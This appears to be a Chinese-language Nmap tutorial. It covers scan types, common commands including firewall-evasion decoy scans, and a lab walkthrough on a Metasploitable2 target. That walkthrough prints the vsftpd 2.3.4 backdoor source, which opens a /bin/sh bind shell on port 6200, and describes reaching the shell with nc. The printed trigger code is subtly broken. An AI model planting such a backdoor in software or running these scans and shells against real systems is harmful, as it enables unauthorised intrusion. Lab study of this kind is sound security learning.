Nmap(Network Mapper)是一款开源的网络扫描与安全审计工具,广泛应用于网络探测、端口扫描、服务识别、操作系统指纹识别等场景,是网络安全工程师、系统管理员必备的工具之一。

核心功能:

1.端口扫描
这是Nmap最基础的功能,可探测目标主机开放的TCP/UDP端口,判断哪些网络服务正在运行。
支持多种扫描方式,如TCP全连接扫描(-sT)、SYN半开放扫描(-sS,默认)、UDP 扫描(-sU)、FIN 扫描(-sF)等,不同方式适用于不同网络环境和隐蔽性需求。
2.服务与版本识别(-sV)
扫描开放端口上运行的服务类型(如Apache、SSH、MySQL)及具体版本号,帮助识别潜在漏洞(如特定版本的Heartbleed漏洞)。
3.操作系统指纹识别(-O)
通过分析目标主机的TCP/IP协议栈特征,判断其操作系统类型(如Windows 10、Ubuntu 22.04、CentOS 7)及版本。
4.主机发现(-sn)
不进行端口扫描,仅探测目标网段内存活的主机,常用方式包括ICMP ping、TCP SYN ping、UDP ping等,适用于大型网段的主机存活排查。
5.脚本扫描(–script)
内置强大的NSE(Nmap Scripting Engine)脚本引擎,支持通过Lua脚本实现自定义功能,如漏洞探测(--script vuln)、暴力破解(--script brute)、服务枚举(--script smb-enum*)等。

常用命令

1.基础主机发现

1
nmap -sn 192.168.1.0/24  # 扫描192.168.1.0网段存活主机

2.端口扫描

1
2
3
nmap 192.168.1.1          # 默认扫描目标主机1000个常用端口
nmap -p 1-65535 192.168.1.1 # 扫描所有端口
nmap -p 80,443,22 192.168.1.1 # 扫描指定端口

3.服务与系统识别

1
nmap -sV -O 192.168.1.1  # 同时识别服务版本和操作系统

4.脚本扫描

1
2
nmap --script vuln 192.168.1.1  # 扫描目标主机常见漏洞
nmap --script smb-enum-users 192.168.1.1 # 枚举SMB服务用户

5.隐蔽扫描(适用于规避简单防火墙)

1
2
nmap -sS -f 192.168.1.1  # SYN半开放扫描+数据包分片
nmap -D RND:5 192.168.1.1 # 随机生成5个诱饵IP,隐藏真实扫描源

简单示例(笑脸漏洞)

环境准备

Metasploitable2-Linux(有笑脸漏洞靶机)和自己的虚拟机打开,并且网络适配器都选择NAT模式(确保两个虚拟机处于同一网段)。

Nmap扫描

1.先确认网段

得到了自己虚拟机的ip地址,根据子网掩码,前24位是网络位(相同网络位的 IP 属于同一子网)。

2.扫描同一网段存活的主机

其中开发端口服务最多的就是Metasploitable2-Linux(有笑脸漏洞靶机)

3.识别目标靶机服务版本和操作系统

其中FTP服务器软件vsftpd 2.3.4版本存在笑脸漏洞,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
static struct mystr s_curr_line_str;
unsigned int pos = 0;
while (str_getline(p_str, &s_curr_line_str, &pos))
{
if (str_equal(&s_curr_line_str, p_line_str))
{
return 1;
}
else if((p_str->p_buf[i]==0x3a)//0x3a = ':' (冒号) 0x29 = ')' (右括号)
&& (p_str->p_buf[i+1]==0x29))//触发条件是字符串中包含 ":)" 这个笑脸表情符号
{
vsf_sysutil_extra();//后面函数
}
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
vsf_sysutil_extra(void)
{
int fd, rfd;
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6200);//开放6200端口,并实施监听
sa.sin_addr.s_addr = INADDR_ANY;
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1);
for(;;)
{
rfd = accept(fd, 0, 0);
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0); //获得shell
}
}

4.用瑞士军刀nc进行登录

5.连接6200端口
可以查看6200端口开放了,

连接成功,获得shell